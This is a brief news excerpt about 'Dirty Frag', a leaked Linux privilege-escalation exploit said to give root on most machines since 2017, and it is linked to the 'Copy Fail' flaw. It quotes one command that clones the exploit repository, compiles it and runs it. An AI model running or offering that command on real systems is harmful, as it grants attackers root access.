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Devastating 'Dirty Frag' exploit leaks out, gives immediate root access on most Linux machines since 2017, no patches available, no warning given — Copy Fail-like vulnerability had its embargo broken
… If you want to test your boxen, you can use: git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp As far as technical details go , the story isn't much different than with Copy Fail, relying on exploiting a zero-copy operation by splicing a … …
May 8, 2026
· Bruno Ferreira